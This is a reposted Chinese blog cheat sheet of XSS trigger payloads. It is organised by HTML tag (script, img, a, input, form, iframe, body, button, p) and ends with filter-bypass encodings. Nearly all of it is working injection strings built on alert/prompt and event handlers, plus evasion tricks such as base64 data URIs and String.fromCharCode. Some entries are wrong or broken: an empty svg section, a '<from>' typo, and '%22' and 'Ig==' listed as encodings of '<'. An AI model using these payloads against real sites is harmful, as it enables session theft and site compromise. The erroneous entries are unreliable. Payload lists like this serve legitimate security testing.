XSS触发语句 发表于 2021-02-27 | 更新于 2025-09-18 
| 总字数: 1.1k | 阅读时长: 5分钟 | 浏览量: 
转载自 Norah C.IV 
一、标准语句 1 <script > alert (/XSS/ )</script > 
二、尝试大小写 1 <sCript > alert(1)</scRipt > 
三、使用<img>标签 1 2 3 4 5 6 7 8 9 10 1、windows事件 <img  src ="x"  onerror =alert(1) > <img  src ="1"  onerror =eval( "alert ('xss ')")> //图片加载错误时触发 2、鼠标事件 <img  src =1  onmouseover ="alert(1)" > //鼠标指针移动到元素时触发 <img  src =1  onmouseout ="alert(1)" > //鼠标指针移出时触发 
四、使用<a>标签 1 2 3 4 5 6 7 1、使用href属性 <a  href ="https://www.qq.com" > qq</a > <a  href =javascript:alert( 'xss ')> test</a > <a  href ="javascript:a"  onmouseover ="alert(/xss/)" > aa</a > <a  href =""  onclick =alert( 'xss ')> a</a > <a  href =""  onclick =eval(alert( 'xss '))> aa</a > <a  href =kycg.asp?ttt =1000  onmouseover =prompt( 'xss ') y =2016 > aa</a > 
五、使用<input>标签 1 2 3 4 5 6 7 8 9 10 11 12 <input  name ="name"  value ="" > <input  value =""  onclick =alert( 'xss ') type ="text" > <input  name ="name"  value =""  onmouseover =prompt( 'xss ') bad ="" > <input  name ="name"  value ="" > <script > alert ('xss' )</script > <input  type ="text"  onkeydown ="alert(1)" > //用户按下按键时触发 <input  type ="text"  onkeypress ="alert(1)" > //用户按下按键时触发 <input  type ="text"  onkeyup ="alert(1)" > //用户松开按键时触发 
六、使用<from>标签 1 2 3 4 5 <form  action =javascript:alert( 'xss ') method ="get" > <form  action =javascript:alert( 'xss ')> <form  method =post  action =aa.asp?  onmouseover =prompt( 'xss ')> <form  method =post  action =aa.asp?  onmouseover =alert( 'xss ')> <form  action =1  onmouseover =alert( 'xss )> <form  method =post  action ="data:text/html;base64,<script>alert('xss')</script>" > <form  method =post  action ="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=" > 
七、 使用<iframe>标签 1 2 3 <iframe  src =javascript:alert( 'xss ')> </iframe > <iframe  src ="data:text/html,< script> alert('xss')< /script> " > </iframe >  <iframe  src ="data:text/html;base64,<script>alert('xss')</script>" >  <iframe  src ="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=" >  <iframe  src ="aaa"  onmouseover =alert( 'xss ') /> <iframe >  <iframe  src ="javascript: prompt( `xss`) " > </iframe > 
八、 使用<svg>标签 九、 使用<body>标签 1 2 <body  onload ="alert(1)" > //加载时触发 
十、 使用<button>标签 1 2 3 4 5 6 7 8 9 <button  onclick ="alert(1)" > text</button > //元素上点击鼠标时触发 <p  onmousedown ="alert(1)" > text</p > //元素上按下鼠标时触发 <p  onmouseup ="alert(1)" > text</p > //在元素上释放鼠标时触发 
十一、 使用<p>标签 1 2 3 4 5 <p  onmousedown ="alert(1)" > text</p > //元素上按下鼠标时触发 <p  onmouseup ="alert(1)" > text</p > //在元素上释放鼠标时触发 
十二、XSS编码绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 1、html实体编码(10进制与16进制): 如把尖括号编码[ < ]   -----> html十进制: & 2、javascript的八进制跟十六进制: 如把尖括号编码[ < ]   -----> js八进制:\74  js十六进制:\x3c 三个八进制数字,如果数字不够,在前面补零,如a的编码为\141 两个十六进制数字,如果数字不够,在前面补零,如a的编码为\x61 四个十六进制数字,如果数字不够,在前面补零,如a的编码为\u0061 对于一些控制字符,使用特殊的C类型的转义风格,如\n和\r 3、url编码: 如把尖括号编码[ < ]  -----> url: %22 4、base64编码: 如把尖括号编码[ < ]  -----> base64: Ig == 5、jsunicode编码: 如把尖括号编码[ < ]  ----->jsunicode:\u003c 6、String.fromCharCode编码 如alert的编码为String.fromCharCode(97,108,101,114,116) 
XRSec has the right to modify and interpret this article. If you want to reprint or disseminate this article, you must ensure the integrity of this article, including all contents such as copyright notice. Without the permission of the author, the content of this article shall not be modified or increased or decreased arbitrarily, and it shall not be used for commercial purposes in any way